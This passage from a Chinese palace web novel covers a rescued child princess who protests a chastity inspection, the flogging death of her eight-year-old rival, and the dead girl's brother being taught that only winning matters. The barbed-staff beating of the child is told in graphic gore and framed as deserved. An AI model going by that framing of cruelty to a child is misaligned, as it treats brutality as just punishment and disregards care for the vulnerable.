这么一想,也都高兴起来。 张庶妃最是狡猾,赶紧举爪:“王爷今晚该跟我睡了,睡完我可不可以不喝避子汤?” 朱侧妃撞了撞她的胳膊,没好气道:“说话怎么不分场合?” 秦芷嫣刚有喜,这女人就开始邀宠,有这样的么? “没事没事。”秦芷嫣早就清楚张庶妃的性子了,也早就做好这些女人给司徒澈生孩子的准备了:“大家都是姐妹,我有了身孕,张妹妹确实不用喝避子汤了。” 第134章 您所认为的贞洁,就那么重要吗? “不可!”司徒澈想了想,看向这些女人:“你们还是得喝避子汤,直到芷嫣这一胎瓜熟蒂落为止。” 无规矩不成方圆,他的长子必须从秦芷嫣肚子里出来。 若这一胎是女儿,其他女子又怀上了男娃,那怎么行。 长子不是嫡子,万一哪个女人想岔了主意,他的后院不是不得不安宁? 顾若雪赞同他的想法,见女人们N脸失落,淡淡说道:“自古以来嫡庶之争就没停过,咱们姐妹几个能互相理解彼此,也清楚彼此的秉性,万一以后府里再进新人呢?想要后院宁静,就不能乱了尊卑嫡庶规矩,更不能开了这个先例。” “顾姐姐说得是!”朱侧妃叹息一声,也道:“王爷每天在外奔波,已经够劳累的了,咱们可不能再给他添麻烦。” 李庶妃摇着扇子:“好吧好吧,那我就再等等,不急的。” 秦芷嫣心下感动,握住了顾若雪的手,目光柔和的看着一众姐妹:“我改天就去烧香拜佛,希望我的肚子争点气,能一举得男,让各位妹妹也早日拥有自己的孩子。” “对对对!”唐蕊也不想看到后院女人不和,赶紧说道:“我们可是相亲相爱的一家人,爹爹的孩子也是庶母们的孩子,庶母们可要像爱我一样去爱他哦。” “你呀…” “呵呵…” 童言童语让略紧张的气氛松懈下来。 没一会儿,府医来了,给秦芷嫣把了脉。 就和唐蕊说的一样,有孕快四月了。 只不过或许是担心唐蕊的事,秦芷嫣胎像有些不稳,需要好身养着。 府医当即开了一堆药。 等他离开后,唐蕊也好好看了下药方子,加了几味药效更好的,去掉了几味没必要的,嘱咐秦芷嫣要每天准时准点喝。 秦芷嫣一一记住,司徒澈也让厨房多做了些适合孕妇吃的东西。 一顿饭过后,该入宫了。 唐蕊归来,总要去宫里报个道,告诉皇帝一声。 秦芷嫣本想跟着去的,但她现在有了身孕,也不方便了,只能让顾若雪代她去一趟。 没办法,唐蕊失而复得,她真是一刻也不想让这孩子离开视线,会不安心。 顾若雪表示理解,跟着司徒澈一起入了宫。 三人来时,皇帝正在高贵妃这里,看到唐蕊,拉着她打量了好久:“丫头,瘦了,还黑了。” 唐蕊无齿一笑:“养养就会白回来的,我这一路上特别想皇爷爷,皇爷爷有没有想我哇?” “当然想了,不管如何,回来就好!”皇帝说罢,喊了一声:“陈德福,叫元嬷嬷来。” 顾若雪脸一黑。 司徒澈脸色骤变:“父皇,您这是做什么?” 只有唐蕊,还没反应过来啥情况。 皇帝看着这个儿子,神色有些无奈:“澈儿,昭华是皇室郡主,言行举止关乎皇家体面,她失踪了几个月,若不验证清白与否,如何堵住悠悠之口?” 总算反应过来的唐蕊:“…” 司徒澈把唐蕊拉到身后,脸色阴沉:“不管昭华如何,都是儿臣的明珠,别说她依旧清白,就算失了清白之身又如何?难道父皇还要废掉她郡主之位不成?” 皇帝沉吟片刻,点了点头:“若是失了清白,朕只能如此。” “父皇!您可是儿子最敬重的父亲…”司徒澈失望的看着皇帝,从没想过他也与那些不要孩子的父母一样愚昧无知。 皇帝沉默了,眼底划过一丝挣扎与纠结。 高贵妃看了看皇帝,又看了看郁闷的唐蕊,笑着朝她招了招手。 唐蕊撇撇嘴,还是走了过去。 高贵妃拉着唐蕊,语重心长道:“昭华,你皇爷爷是一国之君没错,这个天下是他的也没错,但人言可畏啊!女子名节何其重要?你失踪的事,闹得天下皆知,你皇爷爷如此,也是为了你好,你可一定要体谅他。” “我知道…”唐蕊垂下眼眸,不想说话,可不说心里又有点不甘心,憋闷:“我就是觉得…悲哀吧…” 高贵妃愣了愣:“悲哀?为何悲哀?” 唐蕊小心翼翼瞄了一眼皇帝:“昭华想说的话大逆不道,还是不说了。” 皇帝知道司徒澈动了怒,有心想缓和,于是笑呵呵道:“想说什么就说吧,朕恕你无罪便是。” “…”这可是你让我说的。 唐蕊闻言鼓起勇气直视着皇帝,一字一句道:“皇爷爷,昭华理解中的贞洁,是女子自爱、自重,出淤泥而不染。可你们理解的贞洁,却是赋予女子的枷锁。” “为何?就因为女子天生力气速度不如男子,就要被男子贴上各种标签,赋予种种枷锁与规矩吗?” “男子自诩强者,却只会压榨女子找成就感吗?” “真正的强者,难道不是顶天立地,不欺凌弱小,不横行霸道,上能保家卫国,下能疼妻爱女的人吗?” “若不能保家卫国,不能护佑弱小的妻女,那他算什么男人?” “我是你的亲孙女,我也不想被拐走,我也很难过,我才是真正的受害者。而您,不仅是我的亲爷爷,还是一国之君,难道也不能给予我这样的孙女一处容身之地吗?您所认为的贞洁,就那么重要吗?” 静! 现场陷入窒息的沉静! 皇帝也好,贵妃也罢,全都震惊看着这个孩子,从没想过她能说出这一番道理。 “昭华失言,还请皇爷爷恕罪!” 唐蕊自觉跪下,心里也很不是滋味:“昭华依旧清白,甘愿验证,但昭华就是不服气,觉得委屈。不光替自己委屈,也为那些被父母舍弃的孩子们委屈。我们明明什么都没做错,却要承担骂名,背负不属于我们我的罪孽,我们又何其无辜?” 皇帝神色复杂,看着眼前小小的人儿,眼神有些恍惚。 当年,他也是端了一个土匪窝,里面也有很多失了清白的女子。 他正想处置了那些失了清白的妇女时。 那个女子,就如唐蕊一般,昂首挺胸站在他面前,为被拐的妇女们发声。 耳边,那女子说的话,与唐蕊稚嫩的声音仿佛重合了:“贞洁对您而言是什么?难道不是自尊自爱自重吗?贞洁二字何时变成了男子赋予女子的枷锁?皇上,您贵为一国之君,乃是真正的强者。可真正的强者,难道不应该是爱护弱小,惩恶扬善吗?若您,一国之君,都如此愚昧,那大夏还谈什么国泰民安?又有什么未来可言?” 真是…一模一样啊… 第135章 皇室除名永动机 “父皇?父皇?” 司徒澈的声音把皇帝拉回现实。 皇帝晃了晃脑袋,这才发现,司徒澈早已把唐蕊护在了身后。 见他看去,司徒澈垂下眼眸,神色坚定:“父皇,昭华是儿臣的亲女,不管她是否清白,儿臣都会珍之重之,望父皇饶恕昭华大不敬之罪,儿臣感激不尽。” “朕知道!”皇帝叹息一声,摆了摆手:“陈德福,算了吧,昭华郡主依旧清白,就不用去叫元嬷嬷了。” 陈德福早就心惊胆战了,听到皇帝这么说,才狠狠的松了一口气,陪着笑道:“皇上圣明,昭华郡主如此聪慧,怎么会让自己吃亏呢,依老奴看,吃亏的是那些贼人才对。” “哇!”唐蕊眼睛一亮,朝陈德福竖起大拇指:“陈公公,你猜得好准哦,我这一路把那三个人拐子耍得团团转,今天要吃这个明天要吃那个,吃得他们身无分文,他们最后连裤衩子都差点当啦。” “呵呵呵呵…”陈德福翘起兰花指掩唇一笑,又瞅着皇帝:“皇上,您看,老奴就说吧!虎父无犬女,郡主可是璃王爷的女儿,能是个蠢人嘛!” “你们就知道帮这丫头说话!你也让手底下的奴才们注重一些,别人问起,就说昭华郡主依旧清白之身,朕已经让元嬷嬷验过了。”皇帝也笑了笑,不再追究此事,就好像唐蕊刚刚没有说过那些话一样。 “是是是,奴才这就去!”陈德福笑眯眯的离开了。 高贵妃也很有眼色,赶紧让奴才们上茶点,气氛总算松快下来。 皇帝见唐蕊依旧和以前一样,活泼好动,食欲依旧,这才真的放心下来。 很多事他可以睁一只眼闭一只眼,但总要给天下人一个交代。 真理在时势与环境面前,只剩苍白无力。 他这皇帝,也改变不了所有人的想法。 “对了,昭华!”皇帝突然想起大牢里还关着一个司徒嫱呢,放下点心问道:“刘姬已伏诛,嫱姐还关在大牢里,你打算如何处置啊?” 唐蕊咽下嘴里的点心,这才道:“皇爷爷,由我处置吗?” 皇帝笑道:“自然,就像你说的,你才是受害者,自然由你说了算。” 唐蕊:“…”我想她死可不可以哦? 司徒嫱这死孩子,又蠢又毒,活着浪费空气死了浪费土地,不死不活浪费银锭。 可这么说,皇帝会不会觉得她太狠毒了哦? 司徒澈见她一脸为难,不动声色接过话来:“王子犯法与庶民同罪,司徒嫱死罪可免活罪难逃,依儿臣之见,打她一百大板,皇家玉牒除名才好。” 皇帝点点头:“那就这么办吧!” 唐蕊:“…”好的,以后请称呼我为皇室除名永动机,这都第几个因为她除名的了? 不过话又说回来,一百大板下去,八岁的娃娃还有命么? 要说狠还得便宜老爹,杀人大出血。 … 历时三个多月,唐蕊回归。 几个王府的王妃们知道这个消息后,如水的礼物送入璃王府。 司徒嫱也终于面临最终审判。 当陈德福拿着圣旨来到天牢念完过后,司徒嫱彻底崩溃了。 “阉狗你胡说,我可是皇爷爷的亲孙女,他怎么会这么对我?我要见皇爷爷,我要见父王!” 三个多月,她一直被关在天牢里,太子一次都没来过。 司徒薇倒是来得勤快,可都是来奚落她的。 只有司徒谨,顾念着姐弟之情,经常带着好吃的来看她,还花银子打点天牢上下,只为她能过得好些。 即便如此,她的日子也不好过。 大家似乎都知道她完了,狱卒拿了银子,依旧虐待她。 三个月下来,她骨瘦如柴,蓬头垢面。 可她还是抱着一丝希望,毕竟皇帝只是关着她,并没有下旨要把她如何不是? 她一直都以为,皇帝顾念祖孙之情。 她一直在等,等皇帝消了气放她出去。 可现在是什么情况? 她苦苦等待,却等来了一百大板,皇室除名? “嫱主儿,奴才是阉狗,区区阉狗,哪儿来的胆子假传圣旨呀?” 陈德福凉凉一笑,给狱卒们使了个眼色。 狱卒们秒懂,当即把司徒嫱拖了出来,摁在案板上。 司徒嫱拼命挣扎,不停叫嚣:“我不信,我要见父王,我要见皇爷爷,他们不会这么对我的!” 陈德福早看司徒嫱不顺眼了,这死妮子,不把太监当人看,连带着他这个总管大太监都敢骂。 太监怎么了? 太监就不是娘生爹养的吗? 要不是迫不得已,哪个好男儿又愿意做太监? 你司徒嫱身份再高又如何?最后还不是落到他这太监手里了? 陈德福兰花指一翘:“打,用延杖打,一百大板,一个都不能少。” 已经拿起杀威棒的狱卒们闻言又赶紧换上延杖,心道:完了,这位嫱主儿死定了。 牢狱与衙门中,打人的板子也是分种类的。 有笞杖、杀威棒、棒杖、鞭杠与延杖。 通常都用的杀威棒。 延杖跟杀威棒可不一样,由栗木制成,表面包铁还带倒勾。 这一板子下去,那是真正的皮开肉绽啊! 这不,狱卒刚打了一板子,司徒嫱就跟杀猪似的惨叫出声,眼泪鼻涕横飞,鲜血迅速蔓延,染红了她的裤子。 陈德福冷笑:“嫱主儿,这才一板子呢,还有九十九板子,您啊,就好好受着吧!” 狱卒又是一板子下去,司徒嫱再次发出惨叫,倒勾没入她的身体,一离开都会扯下很多细小的肉屑。 痛! 好痛! 司徒嫱只觉得自己仿佛置身于炼狱之中,每一次延杖落下,都像是有无数把刀在身上割。 才打七下,她的声音已经嘶哑,再也喊不出完整的话语,只剩下含混不清的呜咽和痛苦的呻吟。 她的身体随着板子的起落而剧烈颤抖,后背和臀部早已血肉模糊,那原本细嫩的肌肤此刻已经变成了一片恐怖的烂肉,血水不断地流淌到地上,汇聚成一滩触目惊心的血泊。 周围的狱卒们见惯了这种场面,心里毫无波澜,一板又一板地打下去。 “住手,都住手!”就在这时,司徒谨闯进来了。 他快步跑过来推开行刑的狱卒,张开手把司徒嫱护在身后,哭得撕心裂肺:“不要打了,不要打了,长姐知道错了呜呜…” 第136章 要让咱们的嫱主儿彻底死心 陈德福眉头微蹙,看向跟着进来的狱卒:“你们怎么把谨主儿放进来了?” 狱卒们很郁闷,他们也不想放的,可这小子滑得跟泥鳅似的,还不要脸,居然从他们裤裆底下钻过去了。 “不怪他们,陈公公,是我知道皇爷爷下旨后,去求了没用,这才跑了来,狱卒们拦不住我。”司徒谨哭得很伤心:“陈公公,千错万错都是我长姐的错,求求你,不要打了,她…呜呜…她快死了…” 陈德福无奈道:“谨主儿,圣旨在这,奴才也不敢抗旨不遵呀!” “不要,求求你了陈公公吗,放过我长姐吧!”司徒谨也知道,圣意难违。 可皇帝不见他,他除了哀求陈德福,也不知道该怎么办了。 陈德福叹息一声:“谨主儿,您也别难为奴才了,抗旨不遵,奴才这脑袋也别想保住呀!” “不要…呜呜呜…长姐…”司徒谨还小,不知道为什么一切都变了。 秦芷媃死了,他没了母妃。 现在唯一的长姐也要离他而去。 司徒谨觉得,自己的天都塌了! 司徒嫱吃力的睁开眼睛,抓住他的手,声音轻得微不可闻:“找唐蕊…救我…” 她相信,只要唐蕊开了口,皇帝一定会饶了她的。 虽然让她拉下来脸来求唐蕊,很不甘心。 可真的太痛了,如果真打完一百大板,她会死的,一定会死的! 跟自己的小命比起来,面子又算什么? 只要能逃过这一劫,什么面子里子她都可以不要! “好,好,我这就去,我这就去求昭华!”司徒谨像是抓住了最后一根救命稻草,擦掉眼泪跑了出去。 陈德福嗤笑一声:“嫱主儿,您以为昭华郡主会以德报怨么?” “你又怎知…她不会…”司徒嫱直到现在依旧看不起陈德福。 至于唐蕊,在她心里,唐蕊好欺负心肠软,都放过她一次又一次了,这次肯定也不会跟她一般见识的。 “好,好好好!”陈德福乐了,指了个狱卒:“你跟着谨主儿去,看昭华郡主怎么说,杂家啊,要让咱们的嫱主儿彻底死心。” “是!”被指到的狱卒追着司徒谨离开了。 … 璃王府! 唐蕊正在大厨房忙得热火朝天! 失踪的这三个多月,庶母们的店铺早就装修好了。 点心铺没啥,有容嬷嬷在,可火锅店的汤底她还没来得及研究呢! 这不,今天她特意翘了课,跑回来研究火锅汤底。 大厨老王已经按照唐蕊的吩咐,熬好了大骨汤,并且还准备了牛油、辣椒、花椒等一系列调味料。 唐蕊就在他旁边,踩着高高的凳子,指挥他熬锅底。 牛肉、菜油、猪油,全都下锅。 放辣椒,花椒,姜片,糖等调味料。 不过一会儿,整个大厨房辣香扑鼻,一群人被辣得得泪眼汪汪。 老王擦掉眼泪,有些担心:“郡主,这玩意真能吃么?小的咋觉得,一口就能送人归西呢?” “这是什么话?我研究的东西哪样不能吃了?”唐蕊也被辣得双眼红红,却还在坚持着。 眼看差不多了,唐蕊赶紧让老王熄火,拿过筷子沾了一点放嘴里。 辣味有了,麻味有了,可这香味…不是很够。 “到底哪里出了问题呢?” 唐蕊小脸都皱成了包子。 老王小心翼翼问道:“郡主,这…很难吃么?” “也不是,就是感觉差点东西…对了!”唐蕊终于想起来:“还差豆瓣酱哇!” “豆瓣酱?”老王表示没听说过这种东西:“那是什么?” “一种酱料,能长期储存,炒菜放一点,香的嘞,这样…” 唐蕊从小包包里摸出一张银票递给他:“你再去买点东西回来,霉豆瓣,一定要发霉的蚕豆哈,还要酒,一定要那种度数高的,就是很容易喝醉的酒,快去吧!” “好,小的这就让人去买!”老王看了看手底下的厨子,把最机灵的徒弟叫了过来,递给他银票,并小声嘱咐道:“剩多少都要拿回来,可别什么都贪。” “师傅,放心吧,郡主对咱这么好,我贪谁都不会贪郡主的呀!”他没说的是,唐蕊一向大方,等他回来,说不定还会赏他点碎银当跑路费,完全没必要贪嘛! 老王笑骂了一句,让他赶紧滚。 接下来就是等待了。 老王怕唐蕊饿了,把猪骨汤给她盛了一碗,还把给她准备的水晶糕上了一盘:“郡主,上次听您说宫里的水晶糕好吃,正好小的也会做,您尝尝,好不好吃。” “好哦,你一说我都有点饿了。”唐蕊从不会委屈自己。 一开始在元嬷嬷的监督下,还想着控制一下食量的。 可被掳走之后常常吃不饱,一回来就直接放弃了。 人生得意须尽欢,只要有饭立马干! 苦了谁都不能苦了自己,万一哪天嗝屁了,不是很亏么? “好吃!”唐蕊只尝了一口,就朝老王竖起大拇指:“老王叔,你的手艺比宫里的御厨都好哦,这水晶糕又软又糯,不光有甜味,还带着一股花香味,实在是太好吃啦。” “哈哈,郡主喜欢就好,以后小的经常给郡主做!”自己的厨艺得到肯定,老王也很高兴。 唐蕊又尝了几口,一个水晶糕很快没了。 是真的不错,她可没说谎,就是比宫里御厨做的还要好吃。 对了! 唐蕊咽下糕点,又喝了一口猪骨汤,这才说道:“老王叔,我看你做点心的手艺很不错,等张庶母的点心铺开张了,你可以把自己做的糕点拿去铺子里卖哦。” 老王叔神色一喜,可很快又冷静下来:“这…恐怕不行,多谢郡主看得起小的,可小的是王府大厨房的主厨,这…走不开啊!” “不是,你没懂我的意思,我是说,你可以做好了,放在店铺里卖,店铺只抽成,懂不?至于抽几成,你要是愿意做,我就去跟张庶母商量。” 唐蕊觉得点心铺只卖蛋挞双皮奶和奶茶有些不够,万一有些人吃不惯奶味食物呢? 就像她前世那狼心狗肺的老爸,就是这样,像是对奶味过敏一样,闻到奶味就觉得腥,浑身不舒服。 第137章 司徒嫱之死 打开门做生意嘛,种类自然是越多越好,客人也能多些选择。 老王叔愣了愣,继而狂喜:“这…可以吗?” 唐蕊点头:“只要你维持这样的好味道,自然可以的。” “谢谢郡主,谢谢郡主,郡主您真是天大的好人啊!”老王激动了。 家里养着四个孩子,还有三个是儿子,得凑三份娶儿媳的钱,他也很吃力的。 可古代就没有兼职这一说,现在唐蕊给他找了个兼职,他别提多开心了。 “小事,也得亏你手艺好哦,一会儿我就去找张庶母谈谈,看能给你分几成。” “好,不管多少,小的都愿意。” 唐蕊一直宽厚待下,总不会让他吃亏的,这一点老王坚信。 就在这时,幻蝶匆匆而来:“郡主,谨主儿来了。” 唐蕊白眼一翻,小手一挥:“不见!” 今天是司徒嫱行刑的日子,不用猜就知道是来给司徒嫱求情的。 真当她圣母啊,那么好说话,一次次被害都不还手的? “可…”幻蝶皱了皱眉,还没说完,司徒谨就跑了进来。 追来的奴才停下脚步,为难的看着唐蕊:“郡主,小的们没拦住。” 司徒瑾这小娃娃,不要命的往里冲,到底是主子,他们这些做奴才的,又不敢用强硬手段,怕伤着他。 “昭华,求求你,救救我长姐吧!”司徒谨哭得稀里哗啦,一抽一抽的:“我长姐,快被打死了。” “…”那不是她自找的吗? 唐蕊看了他片刻,面无表情道:“上次司徒嫱把你推下马车,你是怎么跟我保证的?” “我…”司徒谨咬了咬唇,还是不停哀求:“我知道是我不对,明明答应过你不再管了,可她到底是从小跟我一起长大的长姐啊,我怎能眼睁睁的看着她去死?” 唐蕊反问道:“那我就活该被她一次次陷害么?这次是让人把我掳走,下一次呢?是不是就要雇杀手要我的命了?” 司徒谨哭着摇头:“不会的,不会的,昭华,你最是心善,我长姐真的知道错了,只要你…” “打住!”唐蕊不想听,打断他的话,一脸认真道:“司徒谨,每个人都要为自己做过的事承担后果,我心善也不是她一次次伤害我的理由。你长姐跟我的情况明眼人都看得出来,水火不容,有她没我,有我没她,所以不好意思,你回去吧!就算你以后因此恨我,我也不会放过一个一次次伤害我的人。” 司徒谨见唐蕊这样,心里无比绝望:“昭华…” “别说了,走吧!”唐蕊看向幻蝶:“请他离开!” “是!”幻蝶朝司徒瑾做了个请的手势:“谨主儿,别难为郡主了,总不能等你长姐真的要了郡主的命,你才乐意吧?” 司徒谨瘫坐在地上,泪水止不住地流淌,他还想再哀求,嘴唇却颤抖着发不出完整的音节。 跟来的狱卒有些无奈,走上前拉他:“谨主儿,郡主心意已决,咱们还是回去吧。” 司徒谨被拉着起身,脚步踉跄,他一步三回头,眼神里满是绝望和不甘。 等他离开,幻蝶才道:“郡主,谨主儿和司徒嫱感情深厚,八成会因此记恨你。” “恨呗,他要是想给他长姐报仇,我也不介意送他一程!做人嘛,别内耗自己,多外耗别人!”唐蕊一脸没所谓。 别跟她扯感情,她莫得感情。 君若无情我便休,哥要报仇先下手! 善良也得有底线,盲目善良那是傻比。 她只需要做到问心无愧,这就够了。 狱卒带着司徒谨回到天牢时,司徒嫱已经奄奄一息。 可是看到司徒瑾,她还是吃力的抬起头,满怀期待的看了过来:“唐蕊…是不是…放过我了?” 司徒谨哭着摇头:“长姐,对不起,昭华…昭华不愿意…还把我赶了出来…” 司徒嫱大脑直接死机,不可置信的喃喃:“怎么会…怎么…她…她不是…一贯心善吗?” 陈德福嗤笑一声,幸灾乐祸道:“嫱主儿,您真当昭华郡主是泥捏的呀?” 那可是璃王爷的孩子。 璃王爷有仇必要,虎父无犬女,唐蕊怎么可能是个纯善的主? 平时她对你客气,那是因为你罪不至死,不跟你一般见识。 可你要是得寸进尺,以为她好欺负,那就要做好承担她怒火的准备了! 陈德福给狱卒们使了个眼色:“继续行刑,来人,把谨主儿带走!” “不,不,不…”司徒嫱真的慌了,怕了。 可是已经来不及了。 就像是唐蕊说的,每个人都要为自己所作所为承担后果! 延仗再次落下,司徒嫱惨叫出声。 司徒谨想要阻拦,却被狱卒拉住往外拖。 “不要,长姐,长姐…”司徒谨哭得声嘶力竭,却挣扎不过狱卒,只能眼睁睁的看着自己离司徒嫱越来越远,直到她消失在视线中。 牢狱里回荡着她凄厉的惨叫,一声接着一声,每一下板子都像是打在司徒谨的心上。 司徒嫱的声音逐渐微弱,气息也越来越弱,意识开始模糊。 恍惚间,她仿佛看到小时候和司徒谨在庭院里嬉笑玩耍的场景。 那时候的日子无忧无虑,没有算计和阴谋。 可如今,一切都变了。 是唐蕊,唐蕊毁了她! “唐蕊…我做鬼…都…不会…” “报仇…司徒谨…给我…报仇…” 司徒嫱用尽最后的力气绝望哀嚎。 随着板子一下又一下无情地落下,她感觉自己的灵魂都要被打散了。 她的眼前一片模糊,只剩下无尽的黑暗和疼痛。 呼吸变得愈发艰难,每一口空气都像是带着利刃,割着她的喉咙。 终于,在那重重的一击后,司徒嫱彻底没了声息,如同一只折翼的鸟儿,无力地倒在地上,瞪大眼睛,鲜血从她的身下蔓延开来,染红了牢房的地面。 狱卒们停下了手中的动作,陈德福走上前,探了探她的鼻息,摇了摇头:“罢了,人已经断了气,这事也算是了结了。” 他挥了挥手,示意狱卒们将尸体处理掉。 司徒谨被狱卒拉出了天牢。 他呆呆地站着,泪水已经流干,眼神空洞的望着天牢。 第138章 八岁的孩子,彻底崩溃了 狱卒见他可怜,叹息一声道:“谨主儿,快回去吧,时间已经不早了。” 司徒谨呆滞着摇了摇头,木着一张脸来到天牢门口坐下。 他抱着自己的膝盖,蜷缩成一团,呆呆的看着已经被夕阳染得通红的天际。 母妃没了,长姐也没了。 身边的的亲人一个接一个离开了他。 到底从什么时候开始变成了这样呢? 好像…就是从唐蕊出现后开始的吧? 可是唐蕊又做错了什么呢? 她什么也没错,可又好像什么都做错了。 就在这时,狱卒们抬着一个草席裹着的尸体出来了。 司徒谨立刻起身跑了过去,抱着尸体无声流泪。 陈德福也是醉了:“谨主儿,您怎么还在这啊?” 司徒谨一脸麻木,心也麻木了:“陈公公,长姐已死,皇爷爷把她从皇室除名,她也入不了皇陵,不如您就行行好,把她的尸体交给我吧!” “这…好吧!”陈德福也是见这孩子可怜。 反正司徒嫱的尸体也是扔去乱葬岗,不如就给了他罢。 “多谢陈公公!”司徒谨吃力的扛起司徒嫱的尸体,一步一步踉跄着离开。 他叫上自己的小厮,带着司徒嫱的尸体出了宫,离了城,在城外找了个山清水秀的地方,这才开始徒手挖坑! 小厮看不过去,想法找来了两个铁锹。 司徒谨接过铁锹继续忙碌,一言不发。 也不知道是老天爷都感觉到了他的痛苦和绝望,刚刚还晴朗的天突然乌云密布。 没一会儿,大雨倾盆。 可司徒谨毫无所觉,一下一下用力的挖着坑。 等坑挖好,他掀开草席,这才发现司徒嫱的眼睛瞪得大大的。 “报仇…司徒谨…给我…报仇…” 想起最后听到的话,司徒谨没忍住痛哭出声。 小厮叹息一声:“主子,让嫱主儿入土为安吧!” “嗯…嗯…”司徒谨颤抖的伸出手,替司徒嫱合上眼眸,亲自抱起她,小心翼翼放进坑里,静立在雨中。 此时他的心里很乱,不断的盘悬着一个问题。 什么是对什么又是错? 司徒嫱陷害唐蕊是错的吗? 唐蕊见死不救又是错的吗? 可惜,这些问题没人能回答他! 小厮埋完司徒嫱,司徒谨沉默着给她立了一块无字石碑。 老一辈的人都说,被家族除名之人,能入土为安都是奢望,更不能写下自己的姓名。 因为从被除名那一刻起,她就没有姓氏与名字了,死了也只能做孤魂野鬼! 他的长姐,以后只能做个孤魂野鬼… 想到这里,司徒谨心如刀割,眼前一黑,昏了过去。 … 再次醒来,司徒谨一脸茫然,隔了好久才后知后觉,自己正在自己的寝宫。 定是小厮带他回来的吧? “醒了!”男人低沉暗哑的声音传来。 司徒谨侧头一看,这才发现司徒霄正守在他床边。 看到父亲,司徒谨很想哭,可他眼泪都流干了,怎么都哭不出来:“父王,长姐…没了…” 司徒霄沉默良久,这才说道:“知道她为什么会死吗?” 司徒谨点点头:“因为陷害昭华…” “不对!”司徒霄猛然打断他的话,咬牙切齿低吼:“因为她太没用了!” 司徒谨一脸诧异:“父王?” 司徒霄冷冷一笑,也不知道是在告诉司徒瑾,还是在告诉自己:“无用的人没有活着的必要,你母妃无用,所以她只有一死。你长姐无用,她也只能死。你要是无用,未来等待你的,也是同样的下场!” 司徒谨有些没听懂,一脸茫然:“可…是长姐有错在先,昭华只是反击。昭华什么错都没有,是长姐先…” “事到如今你还不懂吗?” 司徒霄扯住司徒瑾的衣襟,把人拉到面前,脸色扭曲得有些狰狞:“什么是对的?什么又是错的?北狄想霸占我大夏江山是错的吗?可是站在北狄人的立场,他们想要富饶的土地,想让自己的子民衣食富足,他们又有什么错?我大夏反击又是错的吗?可是站在大夏的立场,大夏要保证自己国家领土完整,要保护自己的子民,大夏又有什么错呢?” “这个世上根本就没有什么对错,只有立场和输赢!” “立场不同,成王败寇!” “我与司徒澈,也是如此!东宫和璃王府,亦是如此!” “你…可明白了?” 一番话下来,司徒谨脸色惨白,绝望的心涌出无限惊惧与凄凉。 他浑身微微颤抖着,似乎不敢相信亲人之间会闹到如此境地:“可是…父王,你和七皇叔是一母同胞的亲兄弟啊,为何要闹到如此地步?” “亲兄弟?哈哈哈哈…” 司徒霄闻言笑出声来,渐渐的,笑声越来越大,越来越癫狂。 突然,他笑声一顿,讥诮开口:“皇家无亲情,你也读史书,自古以来为了那个位置,兄弟砌墙,父子反目的事难道还看得少了?” 司徒谨张了张口,却不知道该说什么才好。 他看得不少,可他始终觉得,司徒家和别的皇朝是不一样的。 皇爷爷慈爱,皇奶奶威严却很关心他,王叔们对他也很宽和。 父王看重他,母妃虽然嫌弃他,却会为他安排好衣食住行。 还有长姐,长姐和他年纪一样,从小一起长大,感情最是深厚。 虽然长姐性子傲了一些,但对他非常维护。 难道一切都是他的错觉吗? “谨儿…”司徒霄语气突然温和下来,温和得司徒瑾浑身发毛:“你是孤的长子,孤希望你与孤一条心!你要记住,璃王府每一个人,都是东宫的死敌!不然,下一个死的,也许是你,也许…是孤!” 扔下这话,司徒霄深深的看了他一眼,转身离开。 司徒谨抱着自己的脑袋,痛苦的呜咽出声。 秦芷媃惨死的画面,司徒嫱死不瞑目的双眼,最终汇聚成司徒霄的脸,以及那句冰冷无情的话。 ——皇家无亲情! 多么可悲! 多么绝望! 多么可笑! “哈哈哈哈…” 司徒谨没忍住,癫狂的大笑出声。 这一刻,八岁的孩子,彻底崩溃了! … 第139章 争宠 璃王府! 食材很快备齐,唐蕊吃得饱饱的,开始指挥老王做豆瓣酱。 其实她也不是很会,只是前世刷抖音刷到过。 发霉的豆子泡酒等一两天,再把辣椒和姜一股脑扔进去,酱酱酿酿… 唐蕊和老王捣鼓了三天,还好是成功了。 把豆瓣酱往火锅里一加,这味道算是勉强对头了。 当晚,璃王府吃上了新鲜出炉的火锅。 “辣,但是越吃越上头!”司徒澈如此评价,筷子舞得虎虎生风。 “嗯嗯嗯!”朱侧妃早就埋头苦干了,一边吃一块狂喝水。 顾若雪吃不得辣的,倒是很喜欢容嬷嬷做的蛋挞和双皮奶。 张庶妃默默朝唐蕊竖起大拇指:“蕊蕊,厉害。” 能吃,还会捣鼓吃的,就连话本也写得很好看。 昨儿个她去顾侧妃院儿里玩了会儿,偶然看到话本翻了几页,一眼就爱上了,硬是死皮赖脸找顾侧妃把话本借了来。 哪怕昨晚轮到她侍寝,她都没搭理司徒澈,硬是熬夜看完了。 李庶妃也能吃辣,可惜肚子已经装不下去了。 摸着圆滚滚的肚子,李庶妃斜睨着朱侧妃:“这火锅,你打算卖多少银子?” 一说到正事,朱侧妃也顾不得吃了,当即摸出一张纸摊开:“我已经定下来了,汤底不收钱,就收菜钱,素菜六文到五十文不等,荤菜三百文到五两银子的都有。” 李庶妃闻言眉头微蹙:“卖这么点?” 朱侧妃一脸无语:“已经不少了好不好?你以为谁都跟你一样啊?” “你到底会不会做生意呀?我不是这个意思好不好。”李庶妃一脸嫌弃,语重心长传授经验:“你要做生意,首先就要决定自己准备做什么人的生意,这世上人也是各式各样的,富人,穷人,寒门,权贵等等,穷人想跟富人打交道,富人想跟权贵打交道,权贵又只跟权贵打交道…” 见朱侧妃一脸懵懂,李庶妃干脆道:“这么说吧,你希望以后来你火锅店的客人是哪种人啊?” 朱侧妃想都没想就道:“肯定是有钱的或者当官的呀!” “那不就结了。”李庶妃经典总结:“既然你想做权贵和富人的生意,这定价就不能太低。” “为什么?”朱侧妃还是没听懂。 唐蕊倒是听懂了,这不是就是受众群体嘛! 李庶妃不愧是会做生意的! 唐蕊打了个饱嗝,接过话来:“朱庶母,李庶母的意思是,太便宜的话,你希望的这种客人会觉得配不上他们的身价。打个比方,乡下姑娘觉得货郎卖的绢花非常好看,做梦都希望能有一个。可要是换成你,你是看得上绢花,还是看得上金钗呢?” “那肯定是金钗啊!”朱侧妃表示,绢花什么东西啊,不是大红就是大紫,做工又很拙劣,哪里配得上她的身份。 等等! 原来如此哦! “我懂你们说的意思了。”朱侧妃后知后觉反应过来,可很快又纠结了:“老实说,我什么人的生意都想做,对我来说,蚊子再小都是肉,有钱不赚白不赚。” 李庶妃:“…” 